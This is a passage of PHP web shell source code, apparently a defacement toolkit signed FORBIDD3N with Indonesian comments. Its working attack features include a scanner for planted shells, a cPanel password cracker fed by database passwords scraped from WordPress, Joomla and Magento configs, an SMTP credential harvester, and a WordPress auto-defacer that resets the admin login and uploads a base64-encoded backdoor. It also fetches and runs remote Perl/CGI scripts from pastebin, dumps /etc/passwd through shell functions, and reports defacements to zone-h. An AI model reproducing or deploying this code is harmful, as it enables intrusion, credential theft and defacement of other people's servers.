  1559. "/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
  1560. "wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
  1561. "tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
  1562. "tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
  1563. "forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
  1564. "spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
  1565. "Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
  1566. "tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
  1567. "/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","forbidd3n.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
  1568. foreach ($shells as $shell){
  1569. $headers = get_headers("$url$shell"); //
  1570. if (eregi('200', $headers[0])) {
  1571. echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
  1572. $dz = fopen('shells.txt', 'a+');
  1573. $suck = "$url$shell";
  1574. fwrite($dz, $suck."\n");
  1575. }
  1576. }
  1577. echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
  1578. }
  1579.    
  1580. }
  1581.  elseif($_GET['do'] == 'cpanel') {
  1582.     if($_POST['crack']) {
  1583.         $usercp = explode("\r\n", $_POST['user_cp']);
  1584.         $passcp = explode("\r\n", $_POST['pass_cp']);
  1585.         $i = 0;
  1586.         foreach($usercp as $ucp) {
  1587.             foreach($passcp as $pcp) {
  1588.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  1589.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1590.                     } else {
  1591.                         $_SESSION[$ucp] = "1";
  1592.                         $_SESSION[$pcp] = "1";
  1593.                         $i++;
  1594.                         echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  1595.                     }
  1596.                 }
  1597.             }
  1598.         }
  1599.         if($i == 0) {
  1600.         } else {
  1601.             echo "<br>Nemu ".$i." Cpanel by <font color=lime>JanCox</font>";
  1602.         }
  1603.     } else {
  1604.         echo "<center>
  1605.         <form method='post'>
  1606.         USER: <br>
  1607.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1608.         $_usercp = fopen("/etc/passwd","r");
  1609.         while($getu = fgets($_usercp)) {
  1610.             if($getu == '' || !$_usercp) {
  1611.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1612.             } else {
  1613.                 preg_match_all("/(.*?):x:/", $getu, $u);
  1614.                 foreach($u[1] as $user_cp) {
  1615.                         if(is_dir("/home/$user_cp/public_html")) {
  1616.                             echo "$user_cp\n";
  1617.                     }
  1618.                 }
  1619.             }
  1620.         }
  1621.         echo "</textarea><br>
  1622.         PASS: <br>
  1623.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1624.         function cp_pass($dir) {
  1625.             $pass = "";
  1626.             $dira = scandir($dir);
  1627.             foreach($dira as $dirb) {
  1628.                 if(!is_file("$dir/$dirb")) continue;
  1629.                 $ambil = file_get_contents("$dir/$dirb");
  1630.                 if(preg_match("/WordPress/", $ambil)) {
  1631.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1632.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1633.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  1634.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1635.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1636.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1637.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  1638.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1639.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1640.                 } elseif(preg_match("/client/", $ambil)) {
  1641.                     preg_match("/password=(.*)/", $ambil, $pass1);
  1642.                     if(preg_match('/"/', $pass1[1])) {
  1643.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  1644.                         $pass .= $pass1[1]."\n";
  1645.                     }
  1646.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1647.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1648.                 }
  1649.             }
  1650.             echo $pass;
  1651.         }
  1652.         $cp_pass = cp_pass($dir);
  1653.         echo $cp_pass;
  1654.         echo "</textarea><br>
  1655.         <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  1656.         </form>
  1657.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1658.     }
  1659. } elseif($_GET['do'] == 'smtp') {
  1660.     echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  1661.     function scj($dir) {
  1662.         $dira = scandir($dir);
  1663.         foreach($dira as $dirb) {
  1664.             if(!is_file("$dir/$dirb")) continue;
  1665.             $ambil = file_get_contents("$dir/$dirb");
  1666.             $ambil = str_replace("$", "", $ambil);
  1667.             if(preg_match("/JConfig|joomla/", $ambil)) {
  1668.                 $smtp_host = ambilkata($ambil,"smtphost = '","'");
  1669.                 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  1670.                 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  1671.                 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  1672.                 $smtp_port = ambilkata($ambil,"smtpport = '","'");
  1673.                 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  1674.                 echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
  1675.                 echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  1676.                 echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  1677.                 echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  1678.                 echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  1679.                 echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
  1680.             }
  1681.         }
  1682.     }
  1683.     $smpt_hunter = scj($dir);
  1684.     echo $smpt_hunter;
  1685. } elseif($_GET['do'] == 'auto_wp') {
  1686.     if($_POST['hajar']) {
  1687.         $title = htmlspecialchars($_POST['new_title']);
  1688.         $pn_title = str_replace(" ", "-", $title);
  1689.         if($_POST['cek_edit'] == "Y") {
  1690.             $script = $_POST['edit_content'];
  1691.         } else {
  1692.             $script = $title;
  1693.         }
  1694.         $conf = $_POST['config_dir'];
  1695.         $scan_conf = scandir($conf);
  1696.         foreach($scan_conf as $file_conf) {
  1697.             if(!is_file("$conf/$file_conf")) continue;
  1698.             $config = file_get_contents("$conf/$file_conf");
  1699.             if(preg_match("/WordPress/", $config)) {
  1700.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  1701.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  1702.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1703.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  1704.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1705.                 $prefix = $dbprefix."posts";
  1706.                 $option = $dbprefix."options";
  1707.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1708.                 $db = mysql_select_db($dbname);
  1709.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  1710.                 $result = mysql_fetch_array($q);
  1711.                 $id = $result[ID];
  1712.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1713.                 $result2 = mysql_fetch_array($q2);
  1714.                 $target = $result2[option_value];
  1715.                 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  1716.                 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  1717.                 echo "<div style='margin: 5px auto;'>";
  1718.                 if($target == '') {
  1719.                     echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  1720.                 } else {
  1721.                     echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  1722.                 }
  1723.                 if(!$update OR !$conn OR !$db) {
  1724.                     echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  1725.                 } else {
  1726.                     echo "<font color=lime>sukses di ganti.</font><br>";
  1727.                 }
  1728.                 echo "</div>";
  1729.                 mysql_close($conn);
  1730.             }
  1731.         }
  1732.     } else {
  1733.         echo "<center>
  1734.         <h1>Auto Edit Title+Content WordPress</h1>
  1735.         <form method='post'>
  1736.         DIR Config: <br>
  1737.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1738.         Set Title: <br>
  1739.         <input type='text' name='new_title' value='Hacked By FORBIDD3N' placeholder='New Title'><br><br>
  1740.         Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  1741.         <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  1742.         <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  1743.         <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  1744.         </form>
  1745.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1746.         ";
  1747.     }
  1748. } elseif($_GET['do'] == 'zoneh') {
  1749.     if($_POST['submit']) {
  1750.         $domain = explode("\r\n", $_POST['url']);
  1751.         $nick =  $_POST['nick'];
  1752.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1753.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1754.         function zoneh($url,$nick) {
  1755.             $ch = curl_init("http://www.zone-h.com/notify/single");
  1756.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1757.                   curl_setopt($ch, CURLOPT_POST, true);
  1758.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1759.             return curl_exec($ch);
  1760.                   curl_close($ch);
  1761.         }
  1762.         foreach($domain as $url) {
  1763.             $zoneh = zoneh($url,$nick);
  1764.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1765.                 echo "$url -> <font color=lime>OK</font><br>";
  1766.             } else {
  1767.                 echo "$url -> <font color=red>ERROR</font><br>";
  1768.             }
  1769.         }
  1770.     } else {
  1771.         echo "<center><form method='post'>
  1772.         <u>Defacer</u>: <br>
  1773.         <input type='text' name='nick' size='50' value='FORBIDD3N'><br>
  1774.         <u>Domains</u>: <br>
  1775.         <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  1776.         <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  1777.         </form>";
  1778.     }
  1779.     echo "</center>";
  1780. }elseif($_GET['do'] == 'lcf') {
  1781.     mkdir('LCF',0755);
  1782. chdir('LCF');
  1783. $kokdosya = ".htaccess";
  1784. $dosya_adi = "$kokdosya";
  1785. $dosya = fopen ($dosya_adi , 'w') or die ("Error mas broo!!!");
  1786. $metin = "OPTIONS Indexes Includes ExecCGI FollowSymLinks   \n AddType application/x-httpd-cgi .pl \n AddHandler cgi-script .pl \n AddHandler cgi-script .pl
  1787. \n \n Options \n DirectoryIndex seees.html \n RemoveHandler .php \n AddType application/octet-stream .php";
  1788. fwrite ( $dosya , $metin ) ;
  1789.  fclose ($dosya);
  1790. $file = fopen("lcf.pl","w+");
  1791. $write = fwrite ($file ,file_get_contents("http://pastebin.com/raw/26jAL0sz"));
  1792. fclose($file);
  1793. chmod("lcf.pl",0755);
  1794. echo "<iframe src=LCF/lcf.pl width=97% height=100% frameborder=0></iframe>";
  1795. }
  1796.  elseif($_GET['do'] == 'cgi') {
  1797.     $cgi_dir = mkdir('idx_cgi', 0755);
  1798.     $file_cgi = "idx_cgi/cgi.izo";
  1799.     $isi_htcgi = "AddHandler cgi-script .izo";
  1800.     $htcgi = fopen(".htaccess", "w");
  1801.     $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  1802.     $cgi = fopen($file_cgi, "w");
  1803.     fwrite($cgi, $cgi_script);
  1804.     fwrite($htcgi, $isi_htcgi);
  1805.     chmod($file_cgi, 0755);
  1806.     echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  1807. } elseif($_GET['do'] == 'fake_root') {
  1808.     ob_start();
  1809.     function reverse($url) {
  1810.         $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  1811.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1812.               curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$url&ket=");
  1813.               curl_setopt($ch, CURLOPT_HEADER, 0);
  1814.               curl_setopt($ch, CURLOPT_POST, 1);
  1815.         $resp = curl_exec($ch);
  1816.         $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  1817.         $array = explode(",,", $resp);
  1818.         unset($array[0]);
  1819.         foreach($array as $lnk) {
  1820.             $lnk = "http://$lnk";
  1821.             $lnk = str_replace(",", "", $lnk);
  1822.             echo $lnk."\n";
  1823.             ob_flush();
  1824.             flush();
  1825.         }
  1826.               curl_close($ch);
  1827.     }
  1828.     function cek($url) {
  1829.         $ch = curl_init($url);
  1830.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1831.               curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  1832.         $resp = curl_exec($ch);
  1833.         return $resp;
  1834.     }
  1835.     $cwd = getcwd();
  1836.     $ambil_user = explode("/", $cwd);
  1837.     $user = $ambil_user[2];
  1838.     if($_POST['reverse']) {
  1839.         $site = explode("\r\n", $_POST['url']);
  1840.         $file = $_POST['file'];
  1841.         foreach($site as $url) {
  1842.             $cek = cek("$url/~$user/$file");
  1843.             if(preg_match("/hacked/i", $cek)) {
  1844.                 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  1845.             }
  1846.         }
  1847.     } else {
  1848.         echo "<center><form method='post'>
  1849.         Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  1850.         User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  1851.         Domain: <br>
  1852.         <textarea style='width: 450px; height: 250px;' name='url'>";
  1853.         reverse($_SERVER['HTTP_HOST']);
  1854.         echo "</textarea><br>
  1855.         <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  1856.         </form><br>
  1857.         NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  1858.     }
  1859. } elseif($_GET['do'] == 'adminer') {
  1860.     $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1861.     function adminer($url, $isi) {
  1862.         $fp = fopen($isi, "w");
  1863.         $ch = curl_init();
  1864.               curl_setopt($ch, CURLOPT_URL, $url);
  1865.               curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1866.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1867.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1868.               curl_setopt($ch, CURLOPT_FILE, $fp);
  1869.         return curl_exec($ch);
  1870.               curl_close($ch);
  1871.         fclose($fp);
  1872.         ob_flush();
  1873.         flush();
  1874.     }
  1875.     if(file_exists('adminer.php')) {
  1876.         echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1877.     } else {
  1878.         if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  1879.             echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1880.         } else {
  1881.             echo "<center><font color=red>gagal buat file adminer</font></center>";
  1882.         }
  1883.     }
  1884. }elseif($_GET['do'] == 'passwbypass') {
  1885.     echo '<center>Bypass etc/passw With:<br>
  1886. <table style="width:50%">
  1887.  <tr>
  1888.    <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
  1889.    <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
  1890.     <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>  
  1891.     <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>      
  1892.    <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
  1893. </tr></table>Bypass User With : <table style="width:50%">
  1894. <tr>
  1895.    <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
  1896.    <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
  1897.     <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>  
  1898.     <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>      
  1899.    <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
  1900. </tr>
  1901. </table><br>';
  1902.  
  1903.  
  1904. if ($_POST['awkuser']) {
  1905. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1906. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  1907. echo "</textarea><br>";
  1908. }
  1909. if ($_POST['systuser']) {
  1910. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1911. echo system("ls /var/mail");
  1912. echo "</textarea><br>";
  1913. }
  1914. if ($_POST['passthuser']) {
  1915. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1916. echo passthru("ls /var/mail");
  1917. echo "</textarea><br>";
  1918. }
  1919. if ($_POST['exuser']) {
  1920. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1921. echo exec("ls /var/mail");
  1922. echo "</textarea><br>";
  1923. }
  1924. if ($_POST['shexuser']) {
  1925. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1926. echo shell_exec("ls /var/mail");
  1927. echo "</textarea><br>";
  1928. }
  1929. if($_POST['syst'])
  1930. {
  1931. echo"<textarea class='inputz' cols='65' rows='15'>";
  1932. echo system("cat /etc/passwd");
  1933. echo"</textarea><br><br><b></b><br>";
  1934. }
  1935. if($_POST['passth'])
  1936. {
  1937. echo"<textarea class='inputz' cols='65' rows='15'>";
  1938. echo passthru("cat /etc/passwd");
  1939. echo"</textarea><br><br><b></b><br>";
  1940. }
  1941. if($_POST['ex'])
  1942. {
  1943. echo"<textarea class='inputz' cols='65' rows='15'>";
  1944. echo exec("cat /etc/passwd");
  1945. echo"</textarea><br><br><b></b><br>";
  1946. }
  1947. if($_POST['shex'])
  1948. {
  1949. echo"<textarea class='inputz' cols='65' rows='15'>";
  1950. echo shell_exec("cat /etc/passwd");
  1951. echo"</textarea><br><br><b></b><br>";
  1952. }
  1953. echo '<center>';
  1954. if($_POST['melex'])
  1955. {
  1956. echo"<textarea class='inputz' cols='65' rows='15'>";
  1957. for($uid=0;$uid<60000;$uid++){
  1958. $ara = posix_getpwuid($uid);
  1959. if (!empty($ara)) {
  1960. while (list ($key, $val) = each($ara)){
  1961. print "$val:";
  1962. }
  1963. print "\n";
  1964. }
  1965. }
  1966. echo"</textarea><br><br>";
  1967. }
  1968. //
  1969.  
  1970. //
  1971. } elseif($_GET['do'] == 'auto_dwp') {
  1972.     if($_POST['auto_deface_wp']) {
  1973.         function anucurl($sites) {
  1974.             $ch = curl_init($sites);
  1975.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1976.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1977.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1978.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1979.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1980.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1981.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1982.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1983.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1984.             $data = curl_exec($ch);
  1985.                   curl_close($ch);
  1986.             return $data;
  1987.         }
  1988.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  1989.             $post = array(
  1990.                    "log" => "$userr",
  1991.                    "pwd" => "$pass",
  1992.                    "rememberme" => "forever",
  1993.                    "wp-submit" => "$wp_submit",
  1994.                    "redirect_to" => "$web",
  1995.                    "testcookie" => "1",
  1996.                    );
  1997.             $ch = curl_init($cek);
  1998.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1999.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2000.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2001.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2002.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2003.                   curl_setopt($ch, CURLOPT_POST, 1);
  2004.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2005.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2006.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2007.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2008.             $data = curl_exec($ch);
  2009.                   curl_close($ch);
  2010.             return $data;
  2011.         }
  2012.         $scan = $_POST['link_config'];
  2013.         $link_config = scandir($scan);
  2014.         $script = htmlspecialchars($_POST['script']);
  2015.         $user = "forbidd3n";
  2016.         $pass = "forbidd3n";
  2017.         $passx = md5($pass);
  2018.         foreach($link_config as $dir_config) {
  2019.             if(!is_file("$scan/$dir_config")) continue;
  2020.             $config = file_get_contents("$scan/$dir_config");
  2021.             if(preg_match("/WordPress/", $config)) {
  2022.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  2023.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  2024.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2025.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  2026.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  2027.                 $prefix = $dbprefix."users";
  2028.                 $option = $dbprefix."options";
  2029.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2030.                 $db = mysql_select_db($dbname);
  2031.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2032.                 $result = mysql_fetch_array($q);
  2033.                 $id = $result[ID];
  2034.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2035.                 $result2 = mysql_fetch_array($q2);
  2036.                 $target = $result2[option_value];
  2037.                 if($target == '') {                
  2038.                     echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2039.                 } else {
  2040.                     echo "[+] $target <br>";
  2041.                 }
  2042.                 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2043.                 if(!$conn OR !$db OR !$update) {
  2044.                     echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2045.                     mysql_close($conn);
  2046.                 } else {
  2047.                     $site = "$target/wp-login.php";
  2048.                     $site2 = "$target/wp-admin/theme-install.php?upload";
  2049.                     $b1 = anucurl($site2);
  2050.                     $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2051.                     $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2052.                     $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  2053.                     $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2054.                     $www = "m.php";
  2055.                     $fp5 = fopen($www,"w");
  2056.                     fputs($fp5,$upload3);
  2057.                     $post2 = array(
  2058.                             "_wpnonce" => "$anu2",
  2059.                             "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2060.                             "themezip" => "@$www",
  2061.                             "install-theme-submit" => "Install Now",
  2062.                             );
  2063.                     $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2064.                           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2065.                           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2066.                           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2067.                           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2068.                           curl_setopt($ch, CURLOPT_POST, 1);
  2069.                           curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2070.                           curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2071.                           curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2072.                           curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2073.                     $data3 = curl_exec($ch);
  2074.                           curl_close($ch);
  2075.                     $y = date("Y");
  2076.                     $m = date("m");
  2077.                     $namafile = "id.php";
  2078.                     $fpi = fopen($namafile,"w");
  2079.                     fputs($fpi,$script);
  2080.                     $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2081.                            curl_setopt($ch6, CURLOPT_POST, true);
  2082.                            curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2083.                            curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2084.                            curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2085.                            curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2086.                            curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  2087.                     $postResult = curl_exec($ch6);
  2088.                            curl_close($ch6);
  2089.                     $as = "$target/k.php";
  2090.                     $bs = anucurl($as);
  2091.                     if(preg_match("#$script#is", $bs)) {
  2092.                         echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2093.                         echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2094.                         } else {
  2095.                         echo "[-] <font color='red'>gagal mepes...</font><br>";
  2096.                         echo "[!!] coba aja manual: <br>";
  2097.                         echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2098.                         echo "[+] username: <font color=lime>$user</font><br>";
  2099.                         echo "[+] password: <font color=lime>$pass</font><br><br>";    
  2100.                         }
  2101.                     mysql_close($conn);
  2102.                 }
  2103.             }
  2104.         }
  2105.     } else {
  2106.         echo "<center><h1>WordPress Auto Deface</h1>
  2107.         <form method='post'>
  2108.         <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
  2109.         <input type='text' name='script' height='10' size='50' placeholder='Hacked By FORBIDD3N' required><br>
  2110.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2111.         </form>
  2112.         <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  2113.         </center>";
  2114.     }
  2115. } elseif($_GET['do'] == 'auto_dwp2') {
  2116.     if($_POST['auto_deface_wp']) {
  2117.         function anucurl($sites) {
  2118.             $ch = curl_init($sites);
  2119.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2120.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2121.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2122.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
